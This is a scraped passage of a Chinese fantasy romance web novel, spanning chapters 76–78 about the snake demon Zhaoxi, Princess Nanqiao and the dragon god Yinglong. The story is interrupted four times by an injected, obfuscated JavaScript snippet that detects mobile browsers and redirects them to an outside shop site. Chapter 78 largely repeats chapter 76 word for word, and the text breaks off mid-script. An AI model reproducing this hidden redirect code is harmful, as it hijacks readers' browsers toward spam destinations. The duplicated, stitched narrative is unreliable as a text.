话未脱口,双唇便被一抹冰冷抵住,她惊讶紧张着,心中只好奇他为什么这么凉森森的,分神间他的力气愈加蛮横,不容推拒,当然,她只是在一开始稍稍推却一番,而后感觉这滋味奇妙,便不觉有些贪恋,遂即迎合而上,二人肢体交缠如藤,意乱情迷,天旋地转下,身子很诚实的反客为主,而冷森森的的肌肤在战况渲染下逐渐有了温度。 “朝曦,不要走……” 意识渐渐迷糊,拥着眼前人沉沉睡去。 意识又一次在另一个世界里苏醒,她不知道这是自己最后一次梦见他们。 朗朗晴天里,二人合上衣襟,女子畅快道:“春宵苦短日高起,从此君王不早朝,你若是一国君王,我这会儿一定被大臣们视为红颜祸水了。” “君王有什么好?”男子穿戴好,倒了一杯茶送到她嘴边。 “君王拥有万疆国土,和国土上的美人。” 他想了想,本是认同,可没多久便又摇头否定:“虽然很好,但是并不可取。” “怎么说?” “应付你一个我已经足够,若再有一干姬妾,岂不要早早虚亏而死,你道那些帝王为何个个不得长寿?是长久的浸淫于温柔乡里精力衰竭形成的过劳死,偏还要将这赖在政务上面。” “唉,原来是这样。”她将茶水饮尽,认真说道:“那我以后尽量克制。” “你克制什么?”他的眉头一跳。 “虽说饮食男女人之大欲,但为了长久的相守,必要时我也是能存天理灭人欲的。” “……” 他的脸色一阵青紫,面对如此轻蔑不知该做何回答,或许只有用行动才能证明一些东西,本来已经整好装束的他又返回床榻之上,死死将她按在身下,耳边极是咬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13403634|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牙切齿:“有道是做人应当知进退,识深浅,你既如此狂妄,那就别怪我不客气了。” 狂妄?还未等她反应,他便已火速去了她身上衣袍,不过待两人将要再赴巫山时,一个轻柔声音飘了进来,于此,这趟云雨便只好作罢。 他不太愉快的走出了房间,换这声音的主人步履轻盈的走了进来。 衣衫凌乱的她,适才还一派欢愉的脸色,在见到进来的女子后,瞬间被一抹沉重驱散,她看着她,心中似乎有巨石高高悬起,眉眼间俱是愁绪:“你去过了?” 女子点了点头:“仙界已经出兵准备围剿蛇族,待你一回去,便擒你入阵,取你神魂。”说着,便幻出一幅境,仔仔细细演示着她所说的一切。 “可是,我始终觉得,他不会如此待我。”不觉间,她的一只手轻轻抚在了肚子上。 “或许他对你是有些真心,只不过,在那所谓的大道面前,根本不够一看。” 她看着境中兵将,一个个手持兵刃,枕戈待旦,原本还神思飘忽内心挣扎着,当那个身影的加入,当他举剑,她似乎再也没有犹豫的理由。 “罢了,我倒看看,他的心能狠到什么地步。” “你如今有了身子,而范懿不日便至,还是早些离开为好。” “是吗?”眉梢眼角渐渐爬上冷冽,脸上再也没有了之前的娇柔,绷紧的神情,压制的愤慨,无一不是她褪去天真的痕迹。“我生来就没怕过什么。” 画面一转,季节几更,竹屋虽还是那座竹屋,却早已不再是那座竹屋。她穿着红色嫁衣安坐于床榻之上,喜盖被扔在地上,没有当初的娇艳明媚,没有柔情似水,只有环在身边的强烈妖气与冲天戾气。 那门声吱呀又起,他缓缓走入,看见忽然出现的她,极多的是不敢置信,少许是抑制着的喜,压制着的忧:“你去了哪里?我找了你很久。” “你找我干什么,莫非还想手刃我不成?” 他不解:“你是在怪我,没有维护你族?” “怪你?我不怪你,我只怪自己有眼无珠,”话音轻如风吟,不暗藏任何情绪,“你知道吗?我为你孕育了一双孩儿。” 他点了点头,眼中惊起泪光,隐隐喜悦。 “只是你们神仙常说,妖孽一类,存于世上是为逆天,你如此高贵,我觉得他们来到世上会成为你这的污点,于是我便替你出手解决了他们。” “你,你说什么?” “解决,就是杀了。” “你在骗我是吗,虎毒尚且不食子,孩子可是你亲身孕育,我不信你会……” “虎谓猛蛇谓毒,你不知道我们蛇族,一向冷情?区区男欢女爱,儿女骨肉,值得放在心上?” 他的目中满含泪水,可还是困难的摇着头。 她便将一团血缎扔到他的面前,看着这两张襁褓,看着这血中灵息紧紧环绕着自己,濒临崩溃。 那把剑指向她,只僵在半空,她胸前毫厘处。 也不知出于不忍还是旁的,他迟迟没有动作,直到她亲自握住剑刃刺进胸口,朝曦才惊惧醒来,这便是二人反目的原因? 她的脑海里似乎还能隐隐约约看到,范懿率一众仙人赶来,她拔出胸口长剑,褪去嫁衣后,展开了一场恶斗。 她在骗他,是毋庸置疑的,毕竟那两个孩子尚在。 梦尽,醒来之后,脑袋昏昏沉沉,食案上放着做好的汤饭,而昨夜的枕边人却已经不见,困倦下完全没有进食的欲望,心中又抱有希望,能不能再继续这梦让它完整些,便又倒头睡下,整整三日,若不是有人叫她,再多上几天也是不成问题的。 “四天了,我候了你四天了,怎么你还不打算起么?” 这气压,立时驱散了她的困倦:“公主?久违了。” 76. 东荒 “久违个头,你躲在这儿倒是清静,还能睡得这么沉实,真是心宽量大呀。” “不然呢?人不就是哪里舒服往哪儿去吗?我很不理解那些常常自己给自己找不痛快的,你说他们到底是怎么想的?” “好了,你可别聒噪了,快跟我走。”南乔还是一如既往的没有耐心。 “去哪里?” “南溟千般嘱咐让我安顿好你,自然了,你已经拜在我门下,你身处险境我也不好坐视不管。” “殿下已经回去了?他如今怎样?有没有被天界怪罪?” “这不是你该过问的,快些起来走了。” 她想了想,摇头拒绝:“我不能跟你回去,我在等人。” 南乔终于被激怒,若不是那一身首饰繁重,恐是要张牙舞爪起来的:“你真当我是吃饱了撑的没事干?你再磨叽,别怪我将这里夷为平地!” 暴躁啊暴躁,天底下怎么会有这么暴躁的女人?自己不想失信于暮闲,可他这会儿到底在哪呢?她不想随她回去,也是因为自己干涉了南溟的人生,没有面目再回去相见。 还有,也不知道他会不会还记得那天夜里的事,想了想,便觉得更加羞怯。 “我虽然很想,但是我一卑微小妖,实在不能在连累二位了,请公主代我回绝殿下好意吧。”她如是恳切道。 “你这林子有屏障护体,可若屏障一除,你的踪迹便一览无余,景羽定然寻迹而来,你确定还要留在这儿?” 老生常谈:威胁从来不会无用,每每出现,都奏效的很。 “你且放心,你就是想连累南溟,我也是不许的,你们以后不会再见。” 南乔语气无比肯定,她虽喜怒无常,但说话从来言而有信,不会落到空地上半点儿。 “可是暮闲……” “我会替你找到他,带到你面前,让你们相守。” 这样打算也是不错,省的自己和暮闲,再另外寻找隐居之地了,不过…… “公主如何知道?” “怎么你这是什么不得了的事吗?”她冷冷一哼,神情里充满了不屑,和一星星不易察觉的嫉妒:“男女之间不就是这点事。” 朝曦认同的点了点头,的确,也就是这么点事。 “不过天下再大,没有哪儿是天界寻不到的,我又能藏哪儿去?” “是没有天界找不到的地方,可是有他不好涉足的地方。” 南乔遥遥一指,她忽然想起南溟一直要她去的地方:“东荒?” “你倒是能啊。” “那里是已故驸马的地盘,我前去叨扰,不太好吧?” 已故驸马这个称谓,多少让南乔眉毛一跳。“没关系,他脾气很好,活着的时候对我也无所不依,你只管去就是了。” 这样说着,朝曦才肯答应随她去,二人驾起两朵绵软白云飞往东荒,南乔看着她的飞行术娴熟自然,完全不似以往那般生怯笨拙,便不由的窥了窥她的元灵,虽然还是一如往常的看不着元神,但是那进阶了不知几许的道行,着实令她一惊。 于漫天红霞中离开卧龙山,朝曦垂望着那座竹屋,不舍下心里眼里竟然全是那夜,意识到自己的好色,急忙挥手将这不良画面打散。 “你在做什么?” “打蚊子。” 南乔看了看四周:“哪家的蚊子能飞上这层天?你怕不是做了什么亏心事,想想便不适吧?” “……”她怎么什么都知道? 心虚无语换来了公主无情的鄙夷:“哼,连个定力都没有,还敢跑去凡界红尘里磋磨打滚。” “是啊,若是遇到像狐狸那样的,可更是半分底线都没了。” 呵,这通嘲讽!南乔扭过头狠狠地瞪了她一眼,朝曦想,这莫非就是传说中能杀死人的眼神刀? “看来,公主追求狐狸一事,不太理想啊。”她扯着嘴角笑了笑,双手揣进袖兜,完全没有住口的意思。“所以说,公主的这段情缘,是离不开我这个狗腿子来帮衬一把的。” “狗腿子?你自甘堕落请不要拉我下水,我一条龙怎么就成了一条狗?” 南乔不满她的嘲讽,可又明白,此事的确离不开她的相助,早已认清自己不能放下这段情缘的她,便只能,放低姿态不再高傲。 “你还有什么主意?” “公主先告诉我,弥斐君与彭凌太子的最近?” “最近,很有一拍两散的架势。”她的眉眼泛着笑意,不过不好溢出,以免失了公主的姿态。 “可,因为什么呢?” 南乔摇了摇头。 “嗯,这边徒弟我在东荒落了脚,便可以时常邀请狐朋狗友什么的来此小聚,不过此境为仙山,又是您与驸马的旧居,这样会不会令驸马魂魄不宁?” 南乔沉默着,脸上神色隐隐悲伤。“他早就魂飞魄散了。” “对不住,我真是太唐突了。” “不妨事,人总要向前看,他临终前也告诉过我,另寻一个好人嫁了,不要再记挂他这个短命鬼。” “……” “驸马真是一个好丈夫。”她感叹于此,并且印证了好人不长命,果然不是一句虚言。 “如果有一天,你也同我一般失去了丈夫,你还会选择追求新的感情么?” 朝曦想象着画面,倒吸一口凉气道:“虽然但是,咱们不能一上来就盼着人家归西,那跟禽兽有什么分别。” “咳咳。” “不过公主,您到底为什么对弥斐动情?难道仅仅是因为那张皮相吗?在我觉得,公主你不像是……这么肤浅的人。” “喜欢美貌,就是肤浅吗?”南乔非常不认同,当即反驳她:“试问天下人有几个喜欢丑八怪的。” “如果是一个丑八怪,还能拥有一份坚定不移的感情,那么这一定是最最真挚的吧?” “嗯,不过一定要排除这个丑八怪,有钱有势。” “……”朝曦默默听在心里,想着以后要问一问暮闲,是否会喜欢变丑的自己,她牢牢记着,好像找到试金石一般。 转眼到了东荒,不同以往荒凉恶劣的景象,这里早已是青山座座,烟波渺渺。云水之间,空炁鲜甜清爽,气蕴温泽舒适,已堪上等仙山圣境,山中多栽着琪花瑶草,其中以茶花居多,因为正当季节,甫一踏入,便看见漫山漫野的红粉,那娇俏明媚的模样犹如一张张的美人面,使人沉醉。而山上东首,栽植着许多梨树,到了梨花盛开之季,便看见一方素白凭吊着那早早离去的驸马。 梨同离,谁又能想的到,外边飒爽骄横的南乔,心底藏着不为人见的深情。 八荒之首的东荒,曾因封印凶兽日渐荒凉,现如今在南乔的治理下,又出落的景色上佳,祥和宁静,没有因为主人的暴躁而产生一丝戾气,这里的子民非神非仙,大多是些精灵。它们在南乔的庇护下过着最舒适的日子,成日不是吃吃喝喝,便是打打闹闹,没什么分寸,没什么规矩,唯一的禁令就是不许生事,朝曦起初不敢相信这是一个神仙的辖地,然而住了几日之后,便觉得此地简直不能再好。 趁着春光正好,朝曦在水岸便搭了个芭蕉伞,躺在伞下欣赏海景。 在海面的对岸,隐隐可见一处泛着黑气的岛屿,一个野兔精告诉她,那处不是岛,是不周山。 不周山,那是梵雎的地界,近来他频频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13423010|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生事,已经触到了天界逆鳞,天帝派了兵将前去讨伐,虽未败,却也没讨到什么便宜,反叫他以此为由,更加得寸进尺。 大家虽然眼下过的很开心,可人无远虑必有近忧,此地与不周山一海之隔离,若是哪天梵雎起事,东荒必定是第一个遭殃的,就算南乔厉害,可不周山是什么地方,朝曦是见识过的,先不说梵雎是共工神煞,只那数万年来聚集的凶兽恶灵,便叫人望而却步。 所以,本来以为找到了归处的朝曦,又泄了气。“天界难道也是看碟下菜?只欺负我这手无缚鸡之力的弱蛇,却拿那凶煞梵雎毫无办法。” “你可不是弱蛇。” “怎么不是?” 一个枇杷精道:“你不是妖族少主吗。” “你见过像我这么脓包的少主?”她自嘲的笑了笑,又肃起神色:“梵雎若是起事,再联手妖魔族,后果真的不可想见。” “近日里十分的不太平,听说妖族有个厉害的人物闯了雾仪山,还杀到了范老神仙面前。” “现如今的妖,都已经这么厉害了么?” “那肯定不是什么寻常的妖,莫说杀到范懿面前,就是雾仪山的山脚,都不见得能踩的上。” 这六界之中,还有哪个妖有如此能力呢?难道是姑姑?该不会是暮闲吧!想到这儿,眉头不禁又高高锁起,正当她心中疑惑着,弥斐忽然从外而至。 “弥斐君,你怎么来了?” “怎么,我不能来吗?”他傲骄的挺了挺胸脯道。 “不是不是,我是说我没有邀请你,你怎么会来,哦,我知道了,是公主邀请你来的。” 狐狸点了点头:“公主说你在这烦闷,希望我能过来看看你。” “我没有烦闷啊?” “......” 意识到这是南乔的套路,赶忙又改口:“啊不对,我烦闷了,是烦闷了。” 弥斐勾了勾嘴角,表示自己不是个傻子。 “唉?你有没有听说,有个妖杀进了雾仪山?是谁啊?结果他怎么样了?” “是暮闲。” 她脑袋一懵,真的是暮闲,可为什么呢?难道是因为他的妻子,难道是暮闲想起了什么。 “结果怎样?” “听闻暮闲是个极有头脑的人,日常也低调谦逊,只是不知因为什么,突然就闯了那去,彼时南溟刚刚归位,正在天界受雷火之刑,亦棠也随景羽在不周山,所以他才会相对容易的杀到范懿面前,至于结果倒是令人意外,暮闲全身而退,二人皆受了重伤。” 得知他全身而退,便松了口气。“两个人都受伤,这有什么意外的?” “暮闲受伤,甚至送命都在情理之中,毕竟范懿修为高深,可他怎么会轻易为暮闲所伤?” “这的确是个疑点,回头我见了他要好好问一问。”她捏着下巴点着头,颇是认真。“对了,你刚说什么,殿下在天界受刑?什么刑?” “他在凡界所造的杀孽,本来是要再去轮回盘转世几次,可现在情况极不乐观,天帝便下令,以雷火之刑代替轮回,受过之后,罪孽便抵消。故而暮闲杀进雾仪山时,南溟未及赶去。” “那伤,严不严重?” “总要一阵子来恢复的。” 她很失落,发生了这么多事,一时有些不知所措,怪不得南乔几天前匆匆离去。 “你在担心……南溟?还是暮闲?” 这个问题,她一怔:“我也不知道,可能都担心吧。” “不对,方才情急之中,你关切的是,南溟。” 她皱眉不语,不得不承认:“是啊,我可能真的没有办法不去关心殿下。” 77. 仇人见面 子时无月,满布阴云。 几道巨闪横过夜空,闷雷无声劈落,海面镇定的接纳着上苍之怒,直到一团银蓝光圈极速坠入海中,重重炸出数丈浪花。 所坠之处,南原早早等侯,那光圈甫一入境,他便不顾雷火余威,撑臂接住了他。 应龙夫妇看着南原满身血迹,脸上闪过一阵惊忧后极快的收起情绪,肃声问道:“逆子尚有命否?” 虞贞在旁为应龙怒色所摄,不敢妄动,南原背着已入昏迷的南溟,那血珠滴滴哒哒的不断落下,他单膝跪下请旨:“南溟尚存余息,请父君之命,是否医治。” “做出如此大逆不道之事,一死又有何辜?” 南原不再顾及君威,即刻做出决断,起身背起他便朝南溟宫殿奔去:“天帝这是手下留情了,生死一瞬,父君若想问责也等他好了再说。” 南海所有的医官一早就被南原召集于殿中,应龙又从外面请了些医仙来,二人一入殿中,便各尽本分施术医治。应龙紧随过来,他是气恼,却不想南溟真的有什么危险。 “政务不可误,你回去休息,我在这儿侯着。” 南原又复恭敬:“还是儿臣在这侯着吧,待南溟一脱险境,我便去听政,不会耽误片刻。” “去吧,这些年将整个南海的担子都交在你身上,已是很累了。”许多年里,这是应龙头一次表现出体恤,南原鼻尖漾上一阵酸涩,不敢置信。 嘴角浅浅弯出一弧欣慰,他郑重的一拜:“为父分忧,是儿臣应尽之分,随时听父君传召。” 看着南原孤寂的背影,再转眼看向重伤的南溟,他的眼中错落生出三分无奈,七分纠结来,对于这两个儿子,他都是亏欠的,对南原,他所给予的是严厉,重担,君威,父子温情极少显露过,而对南溟,则是不可言说的。 两个多时辰的医治,南溟已被移进青莲疗伤,寅时意识苏醒,他便起身下来,应龙闻声过来阻止他的动作:“医官说了,你伤口太多太深,这些时日宜静养。” “静养?”南溟不置可否的笑了笑:“长这么大,父君可曾见我静养过?不是也都没事吗。” “以往是什么伤,这回是天帝的雷火之刑,岂可儿戏?” 眼见他如此忧虑,南溟便老实仰卧。“你其实知道,我没有这么弱,请这么多医官来,真的小题大作了。” “小题大作。”应龙端起茶盏饮了一口:“有时候小题大作是很有必要的。” “您是说.......” “受了天帝的雷火之刑,没几日就活蹦乱跳的,你将天帝的颜面放置何处?况你那战神命格本就是把双刃剑,你若不懂得收敛锋芒,难保以后.......” “难保以后,不会飞鸟尽良弓藏?”他摇了摇头:“就似如今对南海,对您的打压一般?” “休要胡言。” 看着他的各色情绪交织错杂,南溟不觉有些惋惜,数万年前的功绩仍在耳畔,动荡中平定魔族的功臣,太平盛世却要折损锋芒,低头做人,凡间常说英雄气断大抵如此。“父君,你多年小心翼翼,可换来了公平对待?” 一阵哑然失声,南溟分析道:“妖魔二族势起,不周山亦有祸乱之势,正邪较量一触即发,眼下是用人之际,即便我锋芒再盛,他们也会无限容忍。日后平乱安定,即便我再守臣子本分,也逃不会您今日的处境。” “或许我不该带你回来,重蹈我之覆辙。” “回来?” “唔,你要是一直在雾仪山,也是挺好的。” 精力不济,却还是察觉出那一丝怪异,心虚。南溟知道父亲是藏有秘密的,也断定他不肯说,而自己心中的很多疑虑或许就在他的那些过往里。“我大哥,可是您的亲子。” “自然是,你怎会有此一问?” “那大哥的母亲是哪位仙子?” 一下子被问住了。应龙欲言又止,一副说来话长不知如何启口之色。“这是该你问的问题吗?” “那父君在外是否还有遗珠?” “什,什么遗珠?” “就是,除了我们三个,还有没有其他的子女。” “混账,你敢盘问你的父亲。” “暮闲。”南溟横下心来开口道出这个名字,他根本不关心父亲到底有几个孩子,如果不是暮闲,也绝不会有今日这一问。“他出自仙界,又与我相像至极,用兵用法皆有你的影子,让人很难不怀疑他与您的关系。” “暮闲是妖族,与我,与你,与南海,都没有半点关系。” 这种回答是意料之中,南溟是不信的。“是吗?听闻他闯了雾仪山,还杀到了师尊面前,妖族如今功法修为最强者是玄霜,师尊曾与她交过手,评价是不过而已,暮闲他又是凭什么能从师尊手下全身而退?” “我怎会知道。” “今日既开了口子,我便索性都问了,父君您与相柳紫汐是何关系?蛇族至今视您为宿仇,誓要取您性命告慰相柳,传闻说您与她有情,有子,可是真的?” 轻松释然消失不见,面目之上一派阴郁不安,宽大的袍子下身体肉眼可见的紧张起来,南溟见此反应,几乎可以断定传言不虚,他是亏欠了相柳的。“您真的出卖背刺了她?” 怒火几近喷薄,说恼羞成怒毫不为过。南溟的凌厉质问让他无以招架,索性愤愤离开。过往一涌而上,情绪在体内躁动翻腾,他越出海面在云层中漫无目的的飞着。 所落之地为一处山坳,对这种潜意识的驱使应龙失意更甚,数万年的时光,他终究是过不去的。晨风徐来,犹如一只柔软的手拂在他的脸上,这种感觉轻轻嵌进心中的缝隙,他短暂松懈下来,在这无人之境卸去了掩饰和防备。 “原来,应龙神君也会感到疲惫。” 一阵阴翳笑声递进,近至他身后,方缓缓转身睁目。“玄霜姑娘,好久不见。” 脱下蓬帽,她抚着自己已有岁月痕迹的脸,阴郁笑道:“神君惯是言语中听,可我如今却不是姑娘的年岁了。” “无论再久,你在我面前都是当年那个小姑娘,只可惜那份天真纯然,再见不到。” “怪不得,怪不得。”玄霜踱着步子打量他,眼中倏忽交织出不明情绪:“我那傻姐姐,甘心死在你怀中。” “过往已矣,你如今首领妖界,便该一心正道,安份守界才是。否则,如何对得起她的牺牲?” “牺牲?一个拿着爱人性命换取功绩的人有什么资格劝人正道?过往已矣?你若是放下了为何会回到这里?只怕是心中有愧,黑夜难眠吧,应龙神君!” “并非我辩解,当年若换作他人,妖界的下场只恐更加惨烈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13502990|135497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紫汐保住了妖界,保全了蛇族,你怎么就不能理解呢?” 他的解释在玄霜耳中不过是一个负心忘义之人的狡辩之言,她早就立过誓,再见应龙必取其性命以慰紫汐芳魂。 长袖下起术,已进阶的棱冰术聚起朵朵蓝棱,双臂一振攻向对方,应龙未出招应对,连连闪避,只见中招山体瞬结成冰山。 自大战之后,蛇族蛰伏,玄霜也闭关苦练,为的就是有朝一日再见仇人可以亲手报仇,所以今次相见,玄霜决心完成心愿,出手皆杀招,没有一丝余地。 蓝棱立地成冰,应龙几近被困其中,他只好幻出金刀砍断冰体。 金刀为至阳神器,是棱冰术的天生克星,就算是最上乘的霓晶紫棱在此神器面前也难以抵御,故这蓝棱是不堪一看。 应龙仰面看了看上空,见天色有变,脸色凝重起来:“玄霜,停手回去,再打下去天界就要发现了。” “我今日就没打算活着回去,你也休想!”玄霜催动瞳术,口中起咒双手交叠,双臂锃亮如刀刃,再次祭出了极光斩龙矢。 应龙知道,斩龙矢这种功法是种伤敌一万自损八千的不要命打法,追溯史实皆是一些穷凶极恶之途所用。极光斩龙矢更是一次损耗修为,二次难保性命的下场,她已对南溟用过一次,这次再用,的确是抱着同归于尽之心了。 “其实你大可不必,我如今活着只是有未尽心事,待事一了便会去见她的。” 玄霜专心起术,并不理会。两臂呈极耀光矢,较准对方,狠狠劈去。 应龙似恐对方打不中般,极配合的站在原地一动不动,就连手中的金刀都扔落在了地上。光矢映亮整个山间,落在那宿敌身上,迸发出刺目光亮,强大的对碰力量将玄霜震开,连吐了几口鲜血,她强撑着倚在树边,用微弱的意识去看对方的情况。 可惜,她没有如愿看到应龙的死状,光矢落下的那一刻,南溟带着造化青莲挡在了他的身前。这套强大法术,最终用在了南溟一个人身上。 “神君,你可真有一个好孩子。” 玄霜流出泪水,不想却是红色液体。应龙惊诧担忧,扶住倒下的南溟:“谁叫你来的?这也是你能挡的吗?” 南溟拭去嘴边鲜血,逞强的推开他的搀扶:“父君一向就小看我,我哪里就那么弱了。” “我何曾小看你,这可是极光斩龙矢!” “无妨,造化青莲分去了大半威力,我只不过是受些余威而已。” 上空涌来大片乌云,父子皆知情况不好,南溟走到玄霜面前,半蹲劝说:“你这斩龙矢只我便应过两次,我尚能活命何况我父亲?同七万年前一样,妖界若一意起事造反,是没有未来的。” “我既输了,无话可话,要杀要剐,悉听尊便。” “没有人要杀你。”南溟起身之时,玄霜面前墨光隐现,来者显身竟是暮闲。 他仍配着面具,即便这样遮覆面容,仍可见其憔悴羸弱,而对面的南溟,又何尝不是一样。所以今日不是打一架的好时侯,二人对视后皆如此想说。 “姑姑怎么不等我回来?” “你只身闯雾仪山,我以为......” “以为我必命丧于那?”他半是玩笑半是宽慰的抱起她来:“姑姑知道,我素来生命力顽强,又狡黠多智,轻易不会死掉。” 78. 临时 “久违个头,你躲在这儿倒是清静,还能睡得这么沉实,真是心宽量大呀。” “不然呢?人不就是哪里舒服往哪儿去吗?我很不理解那些常常自己给自己找不痛快的,你说他们到底是怎么想的?” “好了,你可别聒噪了,快跟我走。”南乔还是一如既往的没有耐心。 “去哪里?” “南溟千般嘱咐让我安顿好你,自然了,你已经拜在我门下,你身处险境我也不好坐视不管。” “殿下已经回去了?他如今怎样?有没有被天界怪罪?” “这不是你该过问的,快些起来走了。” 她想了想,摇头拒绝:“我不能跟你回去,我在等人。” 南乔终于被激怒,若不是那一身首饰繁重,恐是要张牙舞爪起来的:“你真当我是吃饱了撑的没事干?你再磨叽,别怪我将这里夷为平地!” 暴躁啊暴躁,天底下怎么会有这么暴躁的女人?自己不想失信于暮闲,可他这会儿到底在哪呢?她不想随她回去,也是因为自己干涉了南溟的人生,没有面目再回去相见。 还有,也不知道他会不会还记得那天夜里的事,想了想,便觉得更加羞怯。 “我虽然很想,但是我一卑微小妖,实在不能在连累二位了,请公主代我回绝殿下好意吧。”她如是恳切道。 “你这林子有屏障护体,可若屏障一除,你的踪迹便一览无余,景羽定然寻迹而来,你确定还要留在这儿?” 老生常谈:威胁从来不会无用,每每出现,都奏效的很。 “你且放心,你就是想连累南溟,我也是不许的,你们以后不会再见。” 南乔语气无比肯定,她虽喜怒无常,但说话从来言而有信,不会落到空地上半点儿。 “可是暮闲……” “我会替你找到他,带到你面前,让你们相守。” 这样打算也是不错,省的自己和暮闲,再另外寻找隐居之地了,不过…… “公主如何知道?” “怎么你这是什么不得了的事吗?”她冷冷一哼,神情里充满了不屑,和一星星不易察觉的嫉妒:“男女之间不就是这点事。” 朝曦认同的点了点头,的确,也就是这么点事。 “不过天下再大,没有哪儿是天界寻不到的,我又能藏哪儿去?” “是没有天界找不到的地方,可是有他不好涉足的地方。” 南乔遥遥一指,她忽然想起南溟一直要她去的地方:“东荒?” “你倒是能啊。” “那里是已故驸马的地盘,我前去叨扰,不太好吧?” 已故驸马这个称谓,多少让南乔眉毛一跳。“没关系,他脾气很好,活着的时候对我也无所不依,你只管去就是了。” 这样说着,朝曦才肯答应随她去,二人驾起两朵绵软白云飞往东荒,南乔看着她的飞行术娴熟自然,完全不似以往那般生怯笨拙,便不由的窥了窥她的元灵,虽然还是一如往常的看不着元神,但是那进阶了不知几许的道行,着实令她一惊。 于漫天红霞中离开卧龙山,朝曦垂望着那座竹屋,不舍下心里眼里竟然全是那夜,意识到自己的好色,急忙挥手将这不良画面打散。 “你在做什么?” “打蚊子。” 南乔看了看四周:“哪家的蚊子能飞上这层天?你怕不是做了什么亏心事,想想便不适吧?” “……”她怎么什么都知道? 心虚无语换来了公主无情的鄙夷:“哼,连个定力都没有,还敢跑去凡界红尘里磋磨打滚。” “是啊,若是遇到像狐狸那样的,可更是半分底线都没了。” 呵,这通嘲讽!南乔扭过头狠狠地瞪了她一眼,朝曦想,这莫非就是传说中能杀死人的眼神刀? “看来,公主追求狐狸一事,不太理想啊。”她扯着嘴角笑了笑,双手揣进袖兜,完全没有住口的意思。“所以说,公主的这段情缘,是离不开我这个狗腿子来帮衬一把的。” “狗腿子?你自甘堕落请不要拉我下水,我一条龙怎么就成了一条狗?” 南乔不满她的嘲讽,可又明白,此事的确离不开她的相助,早已认清自己不能放下这段情缘的她,便只能,放低姿态不再高傲。 “你还有什么主意?” “公主先告诉我,弥斐君与彭凌太子的最近?” “最近,很有一拍两散的架势。”她的眉眼泛着笑意,不过不好溢出,以免失了公主的姿态。 “可,因为什么呢?” 南乔摇了摇头。 “嗯,这边徒弟我在东荒落了脚,便可以时常邀请狐朋狗友什么的来此小聚,不过此境为仙山,又是您与驸马的旧居,这样会不会令驸马魂魄不宁?” 南乔沉默着,脸上神色隐隐悲伤。“他早就魂飞魄散了。” “对不住,我真是太唐突了。” “不妨事,人总要向前看,他临终前也告诉过我,另寻一个好人嫁了,不要再记挂他这个短命鬼。” “……” “驸马真是一个好丈夫。”她感叹于此,并且印证了好人不长命,果然不是一句虚言。 “如果有一天,你也同我一般失去了丈夫,你还会选择追求新的感情么?” 朝曦想象着画面,倒吸一口凉气道:“虽然但是,咱们不能一上来就盼着人家归西,那跟禽兽有什么分别。” “咳咳。” “不过公主,您到底为什么对弥斐动情?难道仅仅是因为那张皮相吗?在我觉得,公主你不像是……这么肤浅的人。” “喜欢美貌,就是肤浅吗?”南乔非常不认同,当即反驳她:“试问天下人有几个喜欢丑八怪的。” “如果是一个丑八怪,还能拥有一份坚定不移的感情,那么这一定是最最真挚的吧?” “嗯,不过一定要排除这个丑八怪,有钱有势。” “……”朝曦默默听在心里,想着以后要问一问暮闲,是否会喜欢变丑的自己,她牢牢记着,好像找到试金石一般。 转眼到了东荒,不同以往荒凉恶劣的景象,这里早已是青山座座,烟波渺渺。云水之间,空炁鲜甜清爽,气蕴温泽舒适,已堪上等仙山圣境,山中多栽着琪花瑶草,其中以茶花居多,因为正当季节,甫一踏入,便看见漫山漫野的红粉,那娇俏明媚的模样犹如一张张的美人面,使人沉醉。而山上东首,栽植着许多梨树,到了梨花盛开之季,便看见一方素白凭吊着那早早离去的驸马。 梨同离,谁又能想的到,外边飒爽骄横的南乔,心底藏着不为人见的深情。 八荒之首的东荒,曾因封印凶兽日渐荒凉,现如今在南乔的治理下,又出落的景色上佳,祥和宁静,没有因为主人的暴躁而产生一丝戾气,这里的子民非神非仙,大多是些精灵。它们在南乔的庇护下过着最舒适的日子,成日不是吃吃喝喝,便是打打闹闹,没什么分寸,没什么规矩,唯一的禁令就是不许生事,朝曦起初不敢相信这是一个神仙的辖地,然而住了几日之后,便觉得此地简直不能再好。 趁着春光正好,朝曦在水岸便搭了个芭蕉伞,躺在伞下欣赏海景。 在海面的对岸,隐隐可见一处泛着黑气的岛屿,一个野兔精告诉她,那处不是岛,是不周山。 不周山,那是梵雎的地界,近来那位频 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 